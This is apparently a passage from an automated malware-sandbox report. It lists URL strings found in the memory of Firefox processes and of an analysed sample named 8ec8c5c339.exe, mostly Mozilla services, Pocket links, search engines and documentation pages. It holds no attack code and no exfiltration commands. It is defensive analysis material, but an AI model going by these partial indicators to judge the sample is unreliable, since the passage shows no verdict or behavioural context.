Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000023.00000002.3317049922.0000028630CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2843731239.0000028630CB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180D
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: firefox.exe, 00000023.00000002.3306154976.000002862E895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1592344
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2608317826.00000238F7118000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2837667745.00000286321A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2841500368.00000286321A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339527137.00000286321A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2821841158.000002862E033000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsInt
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTre
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-scoping/#slots-in-shadow-tree
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637577931.00000238F6903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637577931.00000238F6903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2911410230.000002863BF68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339527137.0000028632103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000023.00000002.3339527137.0000028632103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Parent
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Sending
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comU
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000018.00000002.2635204415.00000238F4703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DAD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiments/screenshots/schema.jsonshims/private-brow
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/whatwg/html/issues/8610
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Changes
